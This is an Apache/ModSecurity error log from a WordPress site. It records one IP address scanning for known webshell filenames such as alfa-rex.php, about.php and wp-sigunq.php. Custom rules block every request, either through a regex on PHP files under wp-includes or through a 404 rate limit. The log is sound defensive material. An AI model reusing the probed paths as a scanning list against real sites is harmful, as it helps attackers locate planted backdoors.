[Sat Nov 22 05:39:03.361800 2025] [:error] [pid 53477:tid 53491] [client 172.161.73.78:44813] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aSDb937Lu30Ku9O40aLZRQAAAAo"]
[Sat Nov 22 05:39:04.844213 2025] [:error] [pid 53566:tid 53586] [client 172.161.73.78:40716] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/item.php"] [unique_id "aSDb-MbSHDBkRbwMbd4zvQAAANI"]
[Sat Nov 22 05:39:08.211733 2025] [:error] [pid 53566:tid 53586] [client 172.161.73.78:42049] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/link.php"] [unique_id "aSDb_MbSHDBkRbwMbd4zxwAAANI"]
[Sat Nov 22 05:39:09.767670 2025] [:error] [pid 53566:tid 53576] [client 172.161.73.78:44803] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wlw/wp-login.php"] [unique_id "aSDb_cbSHDBkRbwMbd4zzQAAAMg"]
[Sat Nov 22 05:39:11.619345 2025] [proxy_fcgi:error] [pid 53566:tid 53584] [client 172.161.73.78:44847] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:39:12.340129 2025] [:error] [pid 53566:tid 53573] [client 172.161.73.78:44847] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/content.php"] [unique_id "aSDcAMbSHDBkRbwMbd4z1wAAAMU"]
[Sat Nov 22 05:39:15.831631 2025] [:error] [pid 53566:tid 53592] [client 172.161.73.78:56797] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/mah.php"] [unique_id "aSDcA8bSHDBkRbwMbd4z3wAAANg"]
[Sat Nov 22 05:39:17.247405 2025] [:error] [pid 53479:tid 53559] [client 172.161.73.78:63036] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/mah.php"] [unique_id "aSDcBW6cicFF3Aas-oRz6wAAAJc"]
[Sat Nov 22 05:39:18.223216 2025] [:error] [pid 25856:tid 25865] [client 172.161.73.78:56790] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/mah.php"] [unique_id "aSDcBhsTP0wy94zKUvGo5QAAAQc"]
[Sat Nov 22 05:39:19.438944 2025] [:error] [pid 53478:tid 53509] [client 172.161.73.78:44840] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/mah.php"] [unique_id "aSDcBwhUYdXBbQswAdQOvAAAAEA"]
[Sat Nov 22 05:39:23.115752 2025] [:error] [pid 53566:tid 53586] [client 172.161.73.78:63039] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSDcC8bSHDBkRbwMbd4z6AAAANI"]
[Sat Nov 22 05:39:27.906496 2025] [:error] [pid 25856:tid 25882] [client 172.161.73.78:63031] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSDcDxsTP0wy94zKUvGo9AAAARg"]
[Sat Nov 22 05:39:31.608820 2025] [:error] [pid 53478:tid 53521] [client 172.161.73.78:44860] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSDcEwhUYdXBbQswAdQO5wAAAEw"]
[Sat Nov 22 05:39:33.236276 2025] [:error] [pid 53566:tid 53574] [client 172.161.73.78:35884] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSDcFcbSHDBkRbwMbd4z9wAAAMY"]
[Sat Nov 22 05:39:34.347456 2025] [:error] [pid 53566:tid 53586] [client 172.161.73.78:56863] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSDcFsbSHDBkRbwMbd4z-AAAANI"]
[Sat Nov 22 05:39:36.714307 2025] [:error] [pid 53479:tid 53549] [client 172.161.73.78:35854] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aSDcGG6cicFF3Aas-oRz_gAAAI0"]
[Sat Nov 22 05:39:41.878022 2025] [:error] [pid 53478:tid 53526] [client 172.161.73.78:35855] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/Core32.php"] [unique_id "aSDcHQhUYdXBbQswAdQPEQAAAFE"]
[Sat Nov 22 05:39:42.918112 2025] [:error] [pid 25856:tid 25865] [client 172.161.73.78:56887] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/Core32.php"] [unique_id "aSDcHhsTP0wy94zKUvGpLgAAAQc"]
[Sat Nov 22 05:39:44.571467 2025] [:error] [pid 53478:tid 53527] [client 172.161.73.78:44846] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php/wp-includes/ID3/Core32.php"] [unique_id "aSDcIAhUYdXBbQswAdQPFgAAAFI"]
[Sat Nov 22 05:40:01.879845 2025] [:error] [pid 25856:tid 25879] [client 172.161.73.78:55458] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/wp-login.php"] [unique_id "aSDcMRsTP0wy94zKUvGpZQAAARU"]
[Sat Nov 22 05:40:03.622180 2025] [:error] [pid 53566:tid 53575] [client 172.161.73.78:44818] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/install.php"] [unique_id "aSDcM8bSHDBkRbwMbd40qQAAAMc"]
[Sat Nov 22 05:40:09.219386 2025] [:error] [pid 53479:tid 53546] [client 172.161.73.78:35883] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/install.php"] [unique_id "aSDcOW6cicFF3Aas-oR0UwAAAIo"]
[Sat Nov 22 05:40:10.943059 2025] [:error] [pid 53477:tid 53493] [client 172.161.73.78:44802] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/install.php"] [unique_id "aSDcOn7Lu30Ku9O40aLZpQAAAAw"]
[Sat Nov 22 05:40:12.080325 2025] [:error] [pid 53479:tid 53557] [client 172.161.73.78:10505] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSDcPG6cicFF3Aas-oR0WwAAAJU"]
[Sat Nov 22 05:40:12.956373 2025] [:error] [pid 53566:tid 53569] [client 172.161.73.78:55481] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSDcPMbSHDBkRbwMbd402QAAAME"]
[Sat Nov 22 05:40:14.414926 2025] [:error] [pid 53477:tid 53482] [client 172.161.73.78:35864] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSDcPn7Lu30Ku9O40aLZqQAAAAE"]
[Sat Nov 22 05:40:26.233869 2025] [proxy_fcgi:error] [pid 53478:tid 53533] [client 172.161.73.78:56841] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:40:26.723633 2025] [proxy_fcgi:error] [pid 53478:tid 53516] [client 172.161.73.78:56841] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:40:26.961400 2025] [:error] [pid 53478:tid 53524] [client 172.161.73.78:56841] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/alfa-rex.php"] [unique_id "aSDcSghUYdXBbQswAdQPYQAAAE8"]
[Sat Nov 22 05:40:31.649890 2025] [:error] [pid 53566:tid 53572] [client 172.161.73.78:56815] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aSDcT8bSHDBkRbwMbd41IgAAAMQ"]
[Sat Nov 22 05:40:34.319210 2025] [:error] [pid 53478:tid 53532] [client 172.161.73.78:33963] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aSDcUghUYdXBbQswAdQPcAAAAFc"]
[Sat Nov 22 05:40:35.527373 2025] [:error] [pid 53478:tid 53509] [client 172.161.73.78:56777] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSDcUwhUYdXBbQswAdQPcQAAAEA"]
[Sat Nov 22 05:40:36.998852 2025] [proxy_fcgi:error] [pid 53479:tid 53560] [client 172.161.73.78:45615] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:40:37.933289 2025] [:error] [pid 53479:tid 53541] [client 172.161.73.78:45615] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/edit.php"] [unique_id "aSDcVW6cicFF3Aas-oR0wQAAAIU"]
[Sat Nov 22 05:40:43.460047 2025] [:error] [pid 53477:tid 53504] [client 172.161.73.78:33969] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/lock.php"] [unique_id "aSDcW37Lu30Ku9O40aLZ3AAAABc"]
[Sat Nov 22 05:40:51.377967 2025] [:error] [pid 53478:tid 53524] [client 172.161.73.78:56770] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aSDcYwhUYdXBbQswAdQPjQAAAE8"]
[Sat Nov 22 05:40:52.900959 2025] [:error] [pid 53477:tid 53492] [client 172.161.73.78:11208] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aSDcZH7Lu30Ku9O40aLZ8QAAAAs"]
[Sat Nov 22 05:41:08.742373 2025] [:error] [pid 53478:tid 53529] [client 172.161.73.78:42127] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/wp-sigunq.php"] [unique_id "aSDcdAhUYdXBbQswAdQPxwAAAFQ"]
[Sat Nov 22 05:41:10.197591 2025] [:error] [pid 53478:tid 53511] [client 172.161.73.78:35804] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/wp-sigunq.php"] [unique_id "aSDcdghUYdXBbQswAdQPzAAAAEI"]
[Sat Nov 22 05:41:12.629856 2025] [:error] [pid 53566:tid 53581] [client 172.161.73.78:62944] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/wp-sigunq.php"] [unique_id "aSDceMbSHDBkRbwMbd41qAAAAM0"]
[Sat Nov 22 05:41:14.608443 2025] [:error] [pid 53478:tid 53532] [client 172.161.73.78:44765] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/up.php"] [unique_id "aSDceghUYdXBbQswAdQP1AAAAFc"]
[Sat Nov 22 05:41:15.670344 2025] [:error] [pid 53477:tid 53482] [client 172.161.73.78:62965] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSDce37Lu30Ku9O40aLaHAAAAAE"]
[Sat Nov 22 05:41:19.161498 2025] [:error] [pid 53479:tid 53558] [client 172.161.73.78:10843] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/atomlib.php"] [unique_id "aSDcf26cicFF3Aas-oR1IwAAAJY"]
[Sat Nov 22 05:41:22.343282 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:64979] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/atomlib.php"] [unique_id "aSDcghsTP0wy94zKUvGqfwAAARQ"]
[Sat Nov 22 05:41:29.796181 2025] [:error] [pid 53478:tid 53525] [client 172.161.73.78:61180] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/atomlib.php"] [unique_id "aSDciQhUYdXBbQswAdQP7QAAAFA"]
[Sat Nov 22 05:41:31.948735 2025] [:error] [pid 53477:tid 53504] [client 172.161.73.78:60504] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aSDci37Lu30Ku9O40aLaNQAAABc"]
[Sat Nov 22 05:41:34.030360 2025] [:error] [pid 53479:tid 53539] [client 172.161.73.78:65009] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aSDcjm6cicFF3Aas-oR1SgAAAIM"]
[Sat Nov 22 05:41:37.665761 2025] [proxy_fcgi:error] [pid 53479:tid 53556] [client 172.161.73.78:44761] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:41:38.193637 2025] [:error] [pid 53479:tid 53555] [client 172.161.73.78:44761] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/alfa-rex.php"] [unique_id "aSDckm6cicFF3Aas-oR1VwAAAJM"]
[Sat Nov 22 05:41:40.021976 2025] [proxy_fcgi:error] [pid 53566:tid 53569] [client 172.161.73.78:35798] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:41:40.768064 2025] [:error] [pid 53566:tid 53568] [client 172.161.73.78:35798] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSDclMbSHDBkRbwMbd418QAAAMA"]
[Sat Nov 22 05:41:51.235366 2025] [proxy_fcgi:error] [pid 53566:tid 53580] [client 172.161.73.78:10870] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:41:51.572187 2025] [:error] [pid 53566:tid 53589] [client 172.161.73.78:10870] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aSDcn8bSHDBkRbwMbd42DQAAANU"]
[Sat Nov 22 05:41:52.659023 2025] [:error] [pid 53479:tid 53542] [client 172.161.73.78:33953] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aSDcoG6cicFF3Aas-oR1bQAAAIY"]
[Sat Nov 22 05:42:01.785846 2025] [:error] [pid 53479:tid 53555] [client 172.161.73.78:45586] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aSDcqW6cicFF3Aas-oR1gAAAAJM"]
[Sat Nov 22 05:42:13.235219 2025] [:error] [pid 53479:tid 53556] [client 172.161.73.78:55454] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/about.php"] [unique_id "aSDctW6cicFF3Aas-oR1jAAAAJQ"]
[Sat Nov 22 05:42:14.251844 2025] [:error] [pid 53478:tid 53515] [client 172.161.73.78:10985] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/about.php"] [unique_id "aSDctghUYdXBbQswAdQQOwAAAEY"]
[Sat Nov 22 05:42:14.875300 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:55428] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/about.php"] [unique_id "aSDcthsTP0wy94zKUvGrdAAAAQA"]
[Sat Nov 22 05:42:18.163694 2025] [:error] [pid 53566:tid 53591] [client 172.161.73.78:56791] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/about.php"] [unique_id "aSDcusbSHDBkRbwMbd42vQAAANc"]
